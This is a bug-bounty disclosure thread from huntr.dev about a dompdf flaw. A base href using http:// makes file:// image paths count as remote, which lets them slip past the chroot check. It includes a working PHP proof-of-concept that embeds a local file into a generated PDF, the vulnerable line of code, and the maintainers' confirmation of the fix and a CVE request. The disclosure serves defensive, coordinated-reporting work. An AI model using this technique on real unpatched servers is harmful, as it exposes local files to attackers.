External Control of File Name or Path in dompdf/dompdf


Reported on

Sep 28th 2021


The Scenario 3 you described in this report (https://huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e/) actually opens up the ability to bypass chroot checks.

Proof of Concept

1: Make sure you install Dompdf from GitHub (https://github.com/dompdf/dompdf/) and include the following autoload.inc.php in dompdf/autoload.inc.php:

 * @package dompdf
 * @link    http://dompdf.github.com/
 * @author  Benj Carson <benjcarson@digitaljunkies.ca>
 * @author  Fabien Ménager <fabien.menager@gmail.com>
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License

// HMLT5 Parser
require_once __DIR__ . '/lib/html5lib/Parser.php';

// Sabberworm
    if (strpos($class, 'Sabberworm') !== false) {
        $file = str_replace('\\', DIRECTORY_SEPARATOR, $class);
        $file = realpath(__DIR__ . '/lib/php-css-parser/lib/' . (empty($file) ? '' : DIRECTORY_SEPARATOR) . $file . '.php');
        if (file_exists($file)) {
            require_once $file;
            return true;
    return false;

// php-font-lib
require_once __DIR__ . '/lib/php-font-lib/src/FontLib/Autoloader.php';

require_once __DIR__ . '/lib/php-svg-lib/src/autoload.php';

 * New PHP 5.3.0 namespaced autoloader
require_once __DIR__ . '/src/Autoloader.php';


2: With a sample image file cat.jpg in /var/www/html/cat.jpg, (find any photo will do):

3: Create vuln2.php:

// Include autoloader 
require_once 'dompdf/autoload.inc.php'; 

// Reference the Dompdf namespace 
use Dompdf\Dompdf; 
use Dompdf\Options;

$options = new Options();
$options->set('isRemoteEnabled', true);

$dompdf = new Dompdf($options);

// Load HTML content 
$dompdf->loadHtml('<base href="http://example.com"><img src="file:///var/www/html/cat.jpg" />');

// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape'); 
// Render the HTML as PDF 
// Output the generated PDF to Browser 


If you visit the above in the browser you should see cat.jpg image being included into the PDF file even though chroot option is not set.


This vulnerability is capable of bypassing chroot checks essentially leading to disclosure of png and jpeg files. This was tested with allow_url_fopen and on Linux. Additionally, this was tested on a fresh install of dompdf.


This bug occurs because in Line 68:

$remote = ($protocol && $protocol !== "file://") || ($parsed_url['protocol'] != "");
($protocol && $protocol !== "file://") => True ( http:// !== file:// )

Therefore, the file:///var/www/html/cat.jpg will be treated as a remote file without the need for chroot checks.

We have contacted a member of the dompdf team and are waiting to hear back 10 months ago
10 months ago


Just a slight update to this, allow_url_fopen is not required as curl_exec can use the file:// protocol.

dompdf/dompdf maintainer validated this vulnerability 10 months ago
haxatron has been awarded the disclosure bounty
The fix bounty is now up for grabs
dompdf/dompdf maintainer
4 months ago


This should be addressed in commit ee5f3fd7.

dompdf/dompdf maintainer confirmed that a fix has been merged on 99aeec a month ago
The fix bounty has been dropped
dompdf/dompdf maintainer
22 days ago


Will you be requesting a CVE for this vulnerability?

22 days ago



Jamie Slome
22 days ago


@maintainer - absolutely, would you like us to proceed with this?

dompdf/dompdf maintainer
21 days ago


Yes please do, thanks!

Jamie Slome
20 days ago


Sorted 👍


to join this conversation